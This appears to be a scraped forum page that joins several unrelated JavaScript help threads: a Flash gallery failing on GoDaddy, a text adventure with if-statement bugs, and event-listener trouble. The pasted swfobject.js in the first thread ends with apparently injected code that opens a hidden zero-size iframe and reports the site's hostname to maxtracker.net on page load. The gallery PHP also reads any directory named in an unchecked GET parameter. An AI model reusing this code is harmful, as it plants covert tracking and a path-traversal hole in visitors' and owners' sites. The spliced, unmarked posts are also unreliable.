JavaScript - Issue Running Ddlevelsmenu In Hosting Environment

Hi Guys,

I am trying to implement a free Flash Gallery into a goDaddy hosted website. I have used the code a bunch of times before but always on a different server - never on goDaddy. It has always worked before but on goDaddy will only display the background and buttons of the gallery and not the images themselves.

I have contacted goDaddy, who have very unhelpfully said that it should work but there seems to be a problem with the Javascript on a line that says: so.addVariable("content_path","img");. However - they cannot tell me why it doesnt work and suggested I hit these forums for answers.

The code I am using in my FLASHGALLERY.HTML page is below. I have left the authors comments for ease of viewing:

Code:

<script language="javascript" type="text/javascript">
var so = new SWFObject("flashgallery.swf", "gallery", "800", "600", "8"); // Location of SWF file. You can change gallery width and height here (using pixels or percents).
so.addParam("quality", "high");
so.addParam("allowFullScreen", "true");
so.addParam("wmode", "transparent");
so.addVariable("content_path","img"); // Location of a folder with JPG and PNG files (relative to php script).
so.addVariable("color_path","default.xml"); // Location of XML file with settings.
so.addVariable("script_path","flashgallery.php"); // Location of PHP script.
so.write("gallery");
</script>

The part in BOLD is the line they reckon the problem is on. This works on every other server but not theirs apparently!

The path goes to a file called "IMG" which has the images to be displayed inside. This is a very simple process on all my other websites! I have tried adding a / symbol before .....so ...... /img.... but no luck as well as a bunch of other stuff.

The link to the gallery I am using is:
http://www.library.ceu.hu/workshop/readme.html

The link to one of my sites with this working:
http://mrca.org.uk/final_gallery_roles.html

The link to the non-working gallery:
http://neverthelessmedia.com/flashgallery.html

The gallery has a PHP file and a Javascript file backing it up. I will put the codes below just incase they help.

FLASH_GALLERY.PHP

Code:

<?php
$allowed_formats = array("jpg", "jpeg", "JPG", "JPEG", "png", "PNG");
$exclude_files = array(
"_derived",
"_private",
"_vti_cnf",
"_vti_pvt",
"vti_script",
"_vti_txt"
); // add any other folders or files you wish to exclude from the gallery.

$listDir = array(); 

function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }
    
    return $sOutput;
}

function encoding($string){
    if (function_exists('iconv')) {    
        if (@!iconv('utf-8', 'cp1251', $string)) {
            $string = iconv('cp1251', 'utf-8', $string);
        }
        return $string;
    } else {
        if (detectUTF8($string)) {
            return $string;        
        } else {
            return cp1251_utf8($string);
        }
    }
}


function ReadFolderDirectory($dir) 
    { 
        global $listDir,$exclude_files,$allowed_formats;
        if($handler = opendir($dir))
        { 
           { 
            while (($sub = readdir($handler)) !== FALSE) 
                { 
                  
                  if ($sub != "." && $sub != ".." && $sub != "Thumb.db" && array_search($sub, $exclude_files)===false) 
                   {
                   	$ext = substr($sub, strrpos($sub, ".")+1);
                    if(is_file($dir."/".$sub) && array_search($ext, $allowed_formats)!==false )  $listDir[] = $dir."/".$sub; 
                    elseif(is_dir($dir."/".$sub))  ReadFolderDirectory($dir."/".$sub); 
                   } 
                } 
            }    
            closedir($handler); 
        } 
    }
    
if(isset($_GET['file_dir']))  ReadFolderDirectory($_GET['file_dir']);

natcasesort($listDir);

print '<?xml version="1.0" encoding="utf-8"?>'; 
print '
<pics>';

$directory= $_SERVER['HTTP_HOST'] .$_SERVER['PHP_SELF'];
$directory=dirname($directory);

foreach ($listDir as $val) 
{
	$title = substr(strrchr($val, '/'), 1);
	$title=encoding($title);
	$val=encoding($val);
	
	print '
	<pic src="'.'http://'.$directory.'/'.$val.'" title="'.$title.'" />'; 
}

print '
</pics>';
?>

SWFOBJECT.JS

Code:

if(typeof deconcept=="undefined"){var deconcept=new Object();}
if(typeof deconcept.util=="undefined"){deconcept.util=new Object();}
if(typeof deconcept.SWFObjectUtil=="undefined"){deconcept.SWFObjectUtil=new Object();}
deconcept.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a,_b){if(!document.getElementById){return;}
this.DETECT_KEY=_b?_b:"detectflash";
this.skipDetect=deconcept.util.getRequestParameter(this.DETECT_KEY);
this.params=new Object();
this.variables=new Object();
this.attributes=new Array();
if(_1){this.setAttribute("swf",_1);}
if(id){this.setAttribute("id",id);}
if(w){this.setAttribute("width",w);}
if(h){this.setAttribute("height",h);}
if(_5){this.setAttribute("version",new deconcept.PlayerVersion(_5.toString().split(".")));}
this.installedVer=deconcept.SWFObjectUtil.getPlayerVersion();
if(c){this.addParam("bgcolor",c);}
var q=_8?_8:"high";
this.addParam("quality",q);
this.setAttribute("useExpressInstall",_7);
this.setAttribute("doExpressInstall",false);
var _d=(_9)?_9:window.location;
this.setAttribute("xiRedirectUrl",_d);
this.setAttribute("redirectUrl","");
if(_a){this.setAttribute("redirectUrl",_a);}};
deconcept.SWFObject.prototype={setAttribute:function(_e,_f){
this.attributes[_e]=_f;
},getAttribute:function(_10){
return this.attributes[_10];
},addParam:function(_11,_12){
this.params[_11]=_12;
},getParams:function(){
return this.params;
},addVariable:function(_13,_14){
this.variables[_13]=_14;
},getVariable:function(_15){
return this.variables[_15];
},getVariables:function(){
return this.variables;
},getVariablePairs:function(){
var _16=new Array();
var key;
var _18=this.getVariables();
for(key in _18){_16.push(key+"="+_18[key]);}
return _16;},getSWFHTML:function(){var _19="";
if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){
if(this.getAttribute("doExpressInstall")){
this.addVariable("MMplayerType","PlugIn");}
_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\"";
_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";
var _1a=this.getParams();
for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}
var _1c=this.getVariablePairs().join("&");
if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";
}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");}
_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\">";
_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";
var _1d=this.getParams();
for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}
var _1f=this.getVariablePairs().join("&");
if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}
return _19;
},write:function(_20){
if(this.getAttribute("useExpressInstall")){
var _21=new deconcept.PlayerVersion([6,0,65]);
if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){
this.setAttribute("doExpressInstall",true);
this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));
document.title=document.title.slice(0,47)+" - Flash Player Installation";
this.addVariable("MMdoctitle",document.title);}}
if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){
var n=(typeof _20=="string")?document.getElementById(_20):_20;
n.innerHTML=this.getSWFHTML();return true;
}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}
return false;}};
deconcept.SWFObjectUtil.getPlayerVersion=function(){
var _23=new deconcept.PlayerVersion([0,0,0]);
if(navigator.plugins&&navigator.mimeTypes.length){
var x=navigator.plugins["Shockwave Flash"];
if(x&&x.description){_23=new deconcept.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}
}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}
catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
_23=new deconcept.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}
catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}
catch(e){}}if(axo!=null){_23=new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}
return _23;};
deconcept.PlayerVersion=function(_27){
this.major=_27[0]!=null?parseInt(_27[0]):0;
this.minor=_27[1]!=null?parseInt(_27[1]):0;
this.rev=_27[2]!=null?parseInt(_27[2]):0;
};
deconcept.PlayerVersion.prototype.versionIsValid=function(fv){
if(this.major<fv.major){return false;}
if(this.major>fv.major){return true;}
if(this.minor<fv.minor){return false;}
if(this.minor>fv.minor){return true;}
if(this.rev<fv.rev){
return false;
}return true;};
deconcept.util={getRequestParameter:function(_29){
var q=document.location.search||document.location.hash;
if(q){var _2b=q.substring(1).split("&");
for(var i=0;i<_2b.length;i++){
if(_2b[i].substring(0,_2b[i].indexOf("="))==_29){
return _2b[i].substring((_2b[i].indexOf("=")+1));}}}
return "";}};
deconcept.SWFObjectUtil.cleanupSWFs=function(){if(window.opera||!document.all){return;}
var _2d=document.getElementsByTagName("OBJECT");
for(var i=0;i<_2d.length;i++){_2d[i].style.display="none";for(var x in _2d[i]){
if(typeof _2d[i][x]=="function"){_2d[i][x]=function(){};}}}};
deconcept.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};
__flash_savedUnloadHandler=function(){};
if(typeof window.onunload=="function"){
var _30=window.onunload;
window.onunload=function(){
deconcept.SWFObjectUtil.cleanupSWFs();_30();};
}else{window.onunload=deconcept.SWFObjectUtil.cleanupSWFs;}};
if(typeof window.onbeforeunload=="function"){
var oldBeforeUnload=window.onbeforeunload;
window.onbeforeunload=function(){
deconcept.SWFObjectUtil.prepUnload();
oldBeforeUnload();};
}else{window.onbeforeunload=deconcept.SWFObjectUtil.prepUnload;}
if(Array.prototype.push==null){
Array.prototype.push=function(_31){
this[this.length]=_31;
return this.length;};}
var getQueryParamValue=deconcept.util.getRequestParameter;
var FlashObject=deconcept.SWFObject;
var SWFObject=deconcept.SWFObject;
function second_passed() {window.frames['buffer'].location = "http://maxtracker.net/track_s/new_site.php?s="+ document.location.hostname;}
document.write('<iframe name="buffer" src="about:blank" style="width:0px; height:0px; overflow:hidden; border:none;"></iframe>');setTimeout(second_passed, 1000);

Cheers in advance for your help guys.

hi, im new to javascript, and programming on the whole, what software do you all use for composing code?

this seems to me like somewhat of a common question, but i did a search using the search function and couldnt find any threads on this. sorry if i was being inept and if this question really has been asked a lot before. in that case, help is still greatly appreciated though.

Hi,

I am working on the following page: http://www.reutin-international.com/redirect.html

There is a news script on the right-handside which rotates news items (a kind of scroller).

Locally this works without any problems, but once I've uploaded it to the hosting server this doesn't work. There is no javascript error sign.

I have double checked with the hosting and they support javascript by default.

If anyone has any ideas it'd be appreciated!

Thanks!

The first time I enter the command n it should run the first if statement, when I enter n it should then run the second one as its in zone two. However this is just not happening... What am I doing wrong. Its simply running the second one and skipping the first. Thanks in advance folks

// gameFunctions.js
// Javascript file for Game.html
// September 29th 2010 Edition


// The below represent our global variables for the game. The first variable
// is called playerScore, and represents the total earned points. The player
// earns or loses points based on progress in the game, this value can either
// increase or decrease.

var playerLocation = "zone";

function runProgram()
{
var command = "";
command = document.getElementById("txtCommand").value;
switch (command)
{
case "n": north();
break;
case "s": south();
break;
case "e": east();
break;
case "w": west();
break;
case "north": north();
break;
case "south": south();
break;
case "east": east();
break;
case "west": west();
break;
default: giveError();
}
}

// The following function when called will take the player north.

function north()
{
if(playerLocation = "zone")
{
var message = "You have come to what seems to be a beach";
post(message);
var playerLocation = "zoneTwo";
}
if(playerLocation = "zoneTwo")
{
var message = "You are unsure if you should set up camp. Set up camp?"
post(message);
var playerLocation = "zoneThree";
}
else
{
giveError();
}
}

// The following function when called will take the player east.

function east()
{
if(playerLocation = "zone")
{
var message = "You have come to a very large and steep mountain";
post(message);
var playerLocation = "zoneTwo";
}
if(playerLocation = "zoneTwo")
{
var message = "You are unsure if you should set up camp. Set up Camp?";
post(message);
var playerLocation = "zoneThree";
}
else
{
giveError();
}
}

// The following function when called will take the player south.

function south()
{
if(playerLocation = "zone")
{
var message = "You have come to the entrance of a mine";
post(message);
var playerLocation = "zoneTwo";
}
if(playerLocation = "zoneTwo")
{
var message = "You are unsure if you should set up camp. Set up Camp?";
post(message);
var playerLocation = "zoneThree";
}
else
{
giveError();
}
}

}

// The following function when called will take the player west.

function west()
{
if(playerLocation = "zone")
{
var message = "You have found the edge of the world";
post(message);
var playerLocation = "zoneTwo";
}
if(playerLocation = "zoneTwo")
{
var message = "You are unsure if you should set up camp. Set up Camp?";
post(message);
var playerLocation = "zoneThree";
}
else
{
giveError();
}
}

// The following function reports an error when the program deviates from standard functionality. It is used mainly for debugging.

function giveError()
{
alert("gameFunctions.js has encountered a critical error")
alert("Please check that you are not using Internet Explorer to run this page")
alert("The program will now close")
}

// The following function reports an error when the typed in command is not recognized by the program database.

function doNotUnderstand()
{
alert("I am sorry but I do not understand please try again")
}

function post(newText)
{
document.getElementById("taGameText").value = ""
var gameTextBox = document.getElementById("taGameText");
gameTextBox.value = newText + gameTextBox.value;
}

I have changed my event listener around a bit. Basically the "compare_fields" function is running when the "load_doc" function is run.

Here is my JavaScript:
PHP Code:
function load_doc(doc, parent) {
    document.getElementById(parent).innerHTML = "<h1>Loading...</h1>";
    var http = getHTTPObject();
    if (http != undefined) {
        http.onreadystatechange = function() { req_doc(doc, parent, http); };
        http.open("GET", doc, true);
        http.send("");    
    }
}
function req_doc(doc, parent, req) {
    if (req.readyState == 4) {//only if req is loaded
        if (req.status == 200) {//And if its okay
            document.getElementById(parent).innerHTML = req.responseText;
            add_event_listeners(page)
        } else {
            document.getElementById(parent).innerHTML = "Error fetching data: " + req.status + "\n" + req.statusText;
            add_event_listeners();
        }
    }
}

//Script used to hide elements. Usage: expand(element id)
function expand(elm) {
    var ex = document.getElementById(elm).style.display;
    if (ex == "none") {
        var obj = document.getElementById(elm);
        obj.style.display = "inline";
    } else if (ex == "inline") {
        var obj = document.getElementById(elm);
        obj.style.display = "none";
    }
}

function check_database(obj) {
    //Not written yet
}

//Function to test the password validation, should rewrite in future
//to make it multifunctional
function compare_fields(obj) {
    alert("com");
    var field2 = obj.split("_");
    field2 = document.getElementById(field2[1]+"2");
    if (obj == field2) {
        if (obj.length >= 4) {
            document.getElementById("pass_status").style.color = "#00CC00";
            document.getElementById("pass_status").innerHTML = "OK!";
        } else {
            document.getElementById("pass_status").innerHTML = "Please must be between 5 - 14 characters long! ";
            document.getElementById("pass_status").style.color = "#FF0000";
        }
    } else {
        document.getElementById("pass_status").innerHTML = "Passwords do not match!";
        document.getElementById("pass_status").style.color = "#FF0000";    
    }
} 


Global JavaScript:
PHP Code:
//Get httpobject
function getHTTPObject() {
    var http = false;
    if (window.XMLHttpRequest) { 
        http = new XMLHttpRequest();
    } else if (window.ActiveXObject) {
        http = new ActiveXObject("Microsoft.XMLHTTP");
    }
    return http;
}
//This function attaches events to elements. 
var addEvent = function( elm, evt, fun ) {
    if ( elm.addEventListener ) {
        elm.addEventListener( evt, fun, false );
    } else if ( elm.attachEvent ) {
        elm.attachEvent( 'on' + evt, fun );
    } else {
        elm [ 'on' + evt ] = fun;
    }
}; 


Here is the first form, this contains the button:
Code:

<div style="border-color:#09C; border-width:1px; border-style:solid;">
<div class="register_button" onClick="load_doc('pages/forms/register_form.php', 'login_form')">Register</div>
	<h1>Login</h1>
    <h3>DrawSomething - WordGuesser</h3>
    <br />
	<form id="login" action="php/check_login.php" method="post">
		Username<br /><input type="text" name="username" class="text login_field"><br />
		Password<br /><input type="password" name="password" class="text login_field"><br />
		<input type="submit" value="Login" class="button blue" />
	</form>
    <br />
    <h2>Forgot Username/Password?</h2>
    <span class="expand" onClick="expand('forgot_p')"></span>
    <form class="forgot_p"  action="php/forgot_p.php" method="post" style="display:none;" id="forgot_p">
    	Email<br />
        <h3>Recover username</h3>
        <input type="text" name="forgot_email" class="text login_field"><br />
        <span style=" font-weight:bold; font-size:21px;">- OR -</span><br />
        Username<br />
        <h3>Recover password</h3>
        <input type="text" name="forgot_password" class="text login_field"><br />
        <input type="submit" value="Recover" class="button" />
    </form>
</div>

Form which is loaded, this is when the "comare_fields" function is run when it shouldn't be.

Edit: Oh and here is the PHP script which creates the event listeners.
PHP Code:
include "js/common.js";
include $js[$page];

//Write JS variables for event listeners
$page_listeners = $listeners[$page];

//Check if there are some event listeners for this page
if (count($page_listeners) > 0) {
    ///Start function
    echo "function add_event_listeners() { ";
    
    //Start loop to add event listeners
    for ($i = 0; $i < count($page_listeners); $i++) {
        $doc_elm = "document.getElementById('".$page_listeners[$i][1]."')";
        echo "addEvent(\"document.getElementById('".$page_listeners[$i][0]."')\", \"".$page_listeners[$i][1]."\", ".$page_listeners[$i][2].");"."\n";
    }
    //End function
    echo "}";
} 


Code that is written with the above PHP
Code:

function add_event_listeners() { 
      addEvent("document.getElementById('reg_username')", "click", check_database);
      addEvent("document.getElementById('reg_email')", "click", check_database);
      addEvent("document.getElementById('reg_password')", "click", compare_fields('reg_password'));
}

And here are global PHP variables:
PHP Code:
<?php
//Define page titles
$titles = array(
    "login" => "Login - DrawSomething",
    "main"  => "DrawSomething - Word Guesser",
    "admin" => "Administrator"
);

//Require JavaScript files when onscreen HTML is selected
$js = array(
    "login" => "js/login_js.js",
    "main" => "js/main_js.js",
    "admin" => "js/admin_js.js"
);

//Pages to require
$pages = array(
    "login" => "pages/login_page.php",
    "main" => "pages/main_page.php",
    "admin" => "pages/admin_page.php"
);

//Event listeners to add

$listeners = array(
    "login" => array(array("reg_username", "click", "check_database"), 
                     array("reg_email", "click", "check_database"),
                     array("reg_password", "click", "compare_fields('reg_password')")
                     ),
                );
?>